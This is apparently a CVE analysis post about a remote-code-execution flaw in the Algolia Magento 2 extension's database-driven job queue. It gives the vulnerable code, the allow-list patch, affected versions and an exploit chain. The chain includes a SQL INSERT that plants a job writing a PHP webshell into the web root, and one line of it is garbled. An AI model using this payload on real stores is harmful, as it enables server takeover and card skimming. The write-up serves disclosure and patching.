Queue Jumping to RCE: Algolia for Magento 2 Object Instantiation
Jan 14, 2026·6 min read
Executive Summary (TL;DR)
The Algolia Magento 2 extension trusts database content too much. It uses a custom SQL-based queue system where the class name and method to be executed are stored as plain text. If an attacker can inject a row into this table (via SQL Injection or compromised DB credentials), they can trigger the Magento ObjectManager to execute any public method on any class in the codebase, leading to immediate RCE. The fix implements a strict whitelist of allowed handlers.
A critical vulnerability in the Algolia Search & Discovery extension for Magento 2 allows for Remote Code Execution via insecure handling of queue jobs. By manipulating the `algoliasearch_queue` table, an attacker can force the application to instantiate arbitrary classes and execute arbitrary methods.
The Hook: When the Database becomes a loaded gun
In the world of Magento development, the ObjectManager is god. It can instantiate almost anything, inject dependencies, and generally acts as the glue holding the massive e-commerce framework together. But like any deity, it requires respect—and a healthy fear. If you let user input dictate what the ObjectManager builds, you're effectively handing over the keys to the castle.
Algolia, the search-as-a-service giant, provides a Magento 2 extension to sync products and categories. Syncing data is heavy work, so naturally, they offload it to a background queue. But instead of using Magento's native RabbitMQ or MySQL message queues directly, they implemented a custom mechanism relying on a specific table: algoliasearch_queue.
Here is where the architecture gets spicy. This table doesn't just store data payload; it stores instructions. Specifically, it holds the PHP class name and the method name that the consumer should execute when it picks up the job. This design pattern—"Command via Database"—is a classic foot-gun. It assumes that the database is a trusted zone. But in the hostile landscape of e-commerce security, where SQL Injections (SQLi) are a constant threat, the database is often the first line of defense to fall. When it does, this vulnerability turns a simple data leak into a full-blown Remote Code Execution (RCE) party.
The Flaw: Trusting the wrong input
The vulnerability lies deep within Model/Job.php. This class represents a single unit of work pulled from the queue. Its primary responsibility is to figure out what needs to be done and do it. The logic is deceptively simple: look at the row, read the class column, read the method column, and execute.
Here is the logic flow that leads to disaster:
- The cron job wakes up and pulls pending jobs from
algoliasearch_queue. - It hydrates a
Jobmodel. - It calls the
execute()method on that model.
Inside execute(), the code does something unforgivable. It passes the raw string from the class column directly into Magento's ObjectManager::get(). For those unfamiliar with Magento internals, get() creates a singleton instance of the requested class. Then, it takes the string from the method column and uses call_user_func_array to invoke it.
There was zero validation. No whitelist. No checks to see if the class belongs to the Algolia namespace. If the string says Magento\Framework\Filesystem\Io\File, the code happily obliges. This is a textbook case of CWE-470 (Use of Externally-Controlled Input to Select Classes or Code), often referred to as "Object Injection" or "Insecure Reflection".
The Code: Autopsy of an RCE
Let's look at the smoking gun in Model/Job.php. This code has been running on thousands of Magento stores, silently waiting for the wrong row to appear in the database.
The Vulnerable Code (Before)
public function execute(): Job
{
// 1. Get the class name directly from the DB row
// 2. Instantiate it via ObjectManager (God mode)
$model = $this->objectManager->get($this->getClass());
// 3. Get the method name directly from the DB row
$method = $this->getMethod();
// 4. Get the arguments
$data = $this->getDecodedData();
// 5. BOOM. Arbitrary code execution.
call_user_func_array([$model, $method], $data);
return $this;
}It is shockingly efficient at being insecure. It essentially creates a remote shell for anyone who can write to the database.
The Fix (After)
The patch introduced in versions 3.16.2 and 3.17.2 is essentially a "bouncers list". They introduced a ALLOWED_HANDLERS constant that explicitly defines which classes and methods are permitted to run. If the database requests something not on the list, the job dies with an exception.
public const ALLOWED_HANDLERS = [
'Algolia\AlgoliaSearch\Model\IndicesConfigurator' => ['saveConfigurationToAlgolia'],
'Algolia\AlgoliaSearch\Model\IndexMover' => ['moveIndexWithSetSettings'],
// ... restricted list of safe classes ...
];
public function execute(): Job
{
$class = $this->getClass();
$method = $this->getMethod();
// The Guard Clause
if (!isset(self::ALLOWED_HANDLERS[$class]) ||
!in_array($method, self::ALLOWED_HANDLERS[$class], true)) {
throw new AlgoliaException('Unauthorized job handler');
}
// Only now do we touch the ObjectManager
$model = $this->objectManager->get($class);
// ...
}This changes the security model from "Allow everything by default" to "Deny everything by default".
The Exploit: From SQLi to RCE
How do we weaponize this? The algoliasearch_queue table acts as a dead-drop. The attacker doesn't need to communicate directly with the Algolia extension; they just need to plant the bomb and wait for the Magento cron to detonate it.
Prerequisite: The attacker needs a write primitive for the database. This is usually achieved via a SQL Injection vulnerability in another extension or part of the core, or via compromised database credentials.
The Attack Chain
- Identify the Target: Find a Magento store running the vulnerable Algolia extension.
- Inject the Payload: Execute a SQL query to insert a malicious job.
INSERT INTO algoliasearch_queue
(class, method, data, created_at)
VALUES
(
'Magento\\Framework\\Code\\Generator\\Io',
'write',
'{"filename":"/var/www/html/pub/exploit.php", "content":"<?php system($_GET[c]); ?>"}',
NOW()
);- Wait: The Magento cron runs every minute. It will pick up this "job".
- Execution:
- The extension reads the row.
ObjectManagerinstantiatesMagento to o o(or any other suitable gadget class available in the vendor folder).call_user_func_arraycallswrite()with our payload.
- Persistence: The file
exploit.phpis created in the public web root. The attacker now has a permanent webshell.
While finding the perfect gadget chain in Magento requires some digging (since ObjectManager::get creates Singletons, constructors are called only once), there are hundreds of classes with dangerous public methods exposed to this vulnerability.
The Impact: Game Over
Why is this critical? Because it escalates a limited vulnerability into a total compromise.
Often, SQL Injections are limited to reading data (Blind SQLi) or require complex techniques to extract information. However, this vulnerability turns any SQLi (even a Blind one, if you can INSERT or using Stacked Queries) into immediate Remote Code Execution.
Once RCE is achieved on a Magento server, the game is over:
- Credit Card Skimming: Install a client-side skimmer (Magecart) into the JavaScript files.
- Database Theft: Dump the entire customer database, including PII and order history.
- Lateral Movement: Use the server to attack internal infrastructure.
Since this logic runs within the context of the Magento cron, it often executes with higher privileges or different PHP configurations (like higher memory limits/timeouts) than the web process, making it an even more stable environment for malware execution.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Algolia Search & Discovery for Magento 2 Algolia | < 3.16.2 | 3.16.2 |
Algolia Search & Discovery for Magento 2 Algolia | < 3.17.2 | 3.17.2 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Untrusted Data Handling / Insecure Deserialization |
| CWE ID | CWE-470 |
| Attack Vector | Local/Network (via Database Access) |
| Impact | Remote Code Execution (RCE) |
| CVSS Score (Est.) | 9.1 (Critical) |
| Exploit Status | PoC Available (Theoretical) |
MITRE ATT&CK Mapping
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.